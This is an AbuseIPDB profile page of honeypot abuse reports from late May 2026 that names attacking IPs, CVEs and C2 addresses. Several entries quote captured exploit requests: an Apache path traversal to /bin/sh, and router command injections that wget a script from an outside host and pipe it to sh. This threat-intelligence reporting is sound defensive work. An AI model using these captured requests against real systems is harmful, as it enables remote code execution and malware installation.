AbuseIPDB

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User wasuma joined AbuseIPDB in April 2026 and has reported 667 IP addresses.

Standing (weight) is good.

INACTIVE USER

IP	Date	Comment	Categories
🇭🇰 103.215.80.68	31 May 2026	Honeypot: Apache path traversal RCE (CVE-2021-41773). C2 payload URL: http://14.46.136.77/sh. Path: ... show more Honeypot: Apache path traversal RCE (CVE-2021-41773). C2 payload URL: http://14.46.136.77/sh. Path: /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh show less	Port Scan Web App Attack
🇨🇳 115.190.165.143	31 May 2026	CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 4 ... show more CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 46.151.182.82. Worm self-replicates by exploiting PHP-CGI servers. Evidence: directly hit our honeypot 23 times; AbuseIPDB score=100% reports=65; appears in 4 sensor tags. Confidence score: 85/100 (multi-source verified). show less	Port Scan Web App Attack
🇺🇸 99.52.97.105	30 May 2026	Honeypot: exploit. C2 URL: http://140.233.190.47/dlink. Command: GET /login.cgi?cli=aa%20aa%27;wget% ... show more Honeypot: exploit. C2 URL: http://140.233.190.47/dlink. Command: GET /login.cgi?cli=aa%20aa%27;wget%20http://140.233.190.47/dlink%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$ show less	Port Scan Web App Attack
🇩🇪 91.107.242.204	30 May 2026	Honeypot: Apache path traversal RCE (CVE-2021-41773). C2 payload URL: http://14.46.136.77/sh. Path: ... show more Honeypot: Apache path traversal RCE (CVE-2021-41773). C2 payload URL: http://14.46.136.77/sh. Path: /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh show less	Port Scan Web App Attack
🇩🇪 2.26.86.54	30 May 2026	CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 4 ... show more CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 46.151.182.82. Worm self-replicates by exploiting PHP-CGI servers. Evidence: directly hit our honeypot 15 times; AbuseIPDB score=100% reports=37; appears in 4 sensor tags. Confidence score: 85/100 (multi-source verified). show less	Port Scan Web App Attack
🇸🇪 79.76.58.113	30 May 2026	CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 4 ... show more CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 46.151.182.82. Worm self-replicates by exploiting PHP-CGI servers. Evidence: directly hit our honeypot 194 times; AbuseIPDB score=100% reports=1457; appears in 4 sensor tags. Confidence score: 85/100 (multi-source verified). show less	Port Scan Web App Attack
🇨🇳 120.241.79.66	30 May 2026	CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 4 ... show more CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 46.151.182.82. Worm self-replicates by exploiting PHP-CGI servers. Evidence: directly hit our honeypot 213 times; AbuseIPDB score=100% reports=1990; appears in 4 sensor tags. Confidence score: 85/100 (multi-source verified). show less	Port Scan Web App Attack
🇹🇭 158.173.159.116	30 May 2026	CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 4 ... show more CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 46.151.182.82. Worm self-replicates by exploiting PHP-CGI servers. Evidence: directly hit our honeypot 23 times; AbuseIPDB score=100% reports=38; appears in 4 sensor tags. Confidence score: 85/100 (multi-source verified). show less	Port Scan Web App Attack
🇺🇿 198.163.207.24	30 May 2026	Honeypot: Apache path traversal RCE (CVE-2021-41773). C2 payload URL: http://14.46.136.77/sh. Path: ... show more Honeypot: Apache path traversal RCE (CVE-2021-41773). C2 payload URL: http://14.46.136.77/sh. Path: /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh show less	Port Scan Web App Attack
🇺🇸 216.194.172.68	30 May 2026	Honeypot: Apache path traversal RCE (CVE-2021-41773). C2 payload URL: http://14.46.136.77/sh. Path: ... show more Honeypot: Apache path traversal RCE (CVE-2021-41773). C2 payload URL: http://14.46.136.77/sh. Path: /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh show less	Port Scan Web App Attack
🇨🇳 115.190.165.143	30 May 2026	CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 4 ... show more CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 46.151.182.82. Worm self-replicates by exploiting PHP-CGI servers. Evidence: directly hit our honeypot 23 times; AbuseIPDB score=100% reports=48; appears in 4 sensor tags. Confidence score: 85/100 (multi-source verified). show less	Port Scan Web App Attack
🇩🇪 2.26.86.54	29 May 2026	CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 4 ... show more CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 46.151.182.82. Worm self-replicates by exploiting PHP-CGI servers. Evidence: directly hit our honeypot 15 times; AbuseIPDB score=100% reports=39; appears in 4 sensor tags. Confidence score: 85/100 (multi-source verified). show less	Port Scan Web App Attack
🇸🇪 79.76.58.113	29 May 2026	CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 4 ... show more CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 46.151.182.82. Worm self-replicates by exploiting PHP-CGI servers. Evidence: directly hit our honeypot 194 times; AbuseIPDB score=100% reports=1454; appears in 4 sensor tags. Confidence score: 85/100 (multi-source verified). show less	Port Scan Web App Attack
🇨🇳 120.241.79.66	29 May 2026	CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 4 ... show more CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 46.151.182.82. Worm self-replicates by exploiting PHP-CGI servers. Evidence: directly hit our honeypot 213 times; AbuseIPDB score=100% reports=1995; appears in 4 sensor tags. Confidence score: 85/100 (multi-source verified). show less	Port Scan Web App Attack
🇹🇭 158.173.159.116	29 May 2026	CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 4 ... show more CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 46.151.182.82. Worm self-replicates by exploiting PHP-CGI servers. Evidence: directly hit our honeypot 23 times; AbuseIPDB score=100% reports=40; appears in 4 sensor tags. Confidence score: 85/100 (multi-source verified). show less	Port Scan Web App Attack
🇨🇳 115.190.165.143	29 May 2026	CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 4 ... show more CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 46.151.182.82. Worm self-replicates by exploiting PHP-CGI servers. Evidence: directly hit our honeypot 23 times; AbuseIPDB score=100% reports=60; appears in 4 sensor tags. Confidence score: 85/100 (multi-source verified). show less	Port Scan Web App Attack
🇰🇷 221.159.119.6	29 May 2026	Honeypot: exploit attempt. C2 payload URL: http://0.0.0.0/router.tplink.sh. Path: /cgi-bin/luci/;sto ... show more Honeypot: exploit attempt. C2 payload URL: http://0.0.0.0/router.tplink.sh. Path: /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(wget%20http%3A//0.0.0.0/router.tplink.sh%20-O-%7Csh) show less	Port Scan Web App Attack
🇨🇳 223.85.251.61	28 May 2026	Honeypot: Apache path traversal RCE (CVE-2021-41773). C2 payload URL: http://14.46.136.77/sh. Path: ... show more Honeypot: Apache path traversal RCE (CVE-2021-41773). C2 payload URL: http://14.46.136.77/sh. Path: /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh show less	Port Scan Web App Attack
🇮🇳 151.185.42.72	28 May 2026	Honeypot: Apache path traversal RCE (CVE-2021-41773). C2 payload URL: http://14.46.136.77/sh. Path: ... show more Honeypot: Apache path traversal RCE (CVE-2021-41773). C2 payload URL: http://14.46.136.77/sh. Path: /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh show less	Port Scan Web App Attack
🇩🇪 2.26.86.54	28 May 2026	CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 4 ... show more CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 46.151.182.82. Worm self-replicates by exploiting PHP-CGI servers. Evidence: directly hit our honeypot 15 times; AbuseIPDB score=100% reports=41; appears in 4 sensor tags. Confidence score: 85/100 (multi-source verified). show less	Port Scan Web App Attack
🇸🇪 79.76.58.113	28 May 2026	CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 4 ... show more CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 46.151.182.82. Worm self-replicates by exploiting PHP-CGI servers. Evidence: directly hit our honeypot 194 times; AbuseIPDB score=100% reports=1457; appears in 4 sensor tags. Confidence score: 85/100 (multi-source verified). show less	Port Scan Web App Attack
🇨🇳 120.241.79.66	28 May 2026	CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 4 ... show more CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 46.151.182.82. Worm self-replicates by exploiting PHP-CGI servers. Evidence: directly hit our honeypot 213 times; AbuseIPDB score=100% reports=2005; appears in 4 sensor tags. Confidence score: 85/100 (multi-source verified). show less	Port Scan Web App Attack
🇹🇭 158.173.159.116	28 May 2026	CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 4 ... show more CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 46.151.182.82. Worm self-replicates by exploiting PHP-CGI servers. Evidence: directly hit our honeypot 23 times; AbuseIPDB score=100% reports=43; appears in 4 sensor tags. Confidence score: 85/100 (multi-source verified). show less	Port Scan Web App Attack
🇨🇳 115.190.165.143	28 May 2026	CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 4 ... show more CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 46.151.182.82. Worm self-replicates by exploiting PHP-CGI servers. Evidence: directly hit our honeypot 23 times; AbuseIPDB score=100% reports=87; appears in 4 sensor tags. Confidence score: 85/100 (multi-source verified). show less	Port Scan Web App Attack
🇨🇳 120.48.32.130	27 May 2026	Honeypot: Apache path traversal RCE (CVE-2021-41773). C2 payload URL: http://14.46.136.77/sh. Path: ... show more Honeypot: Apache path traversal RCE (CVE-2021-41773). C2 payload URL: http://14.46.136.77/sh. Path: /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh show less	Port Scan Web App Attack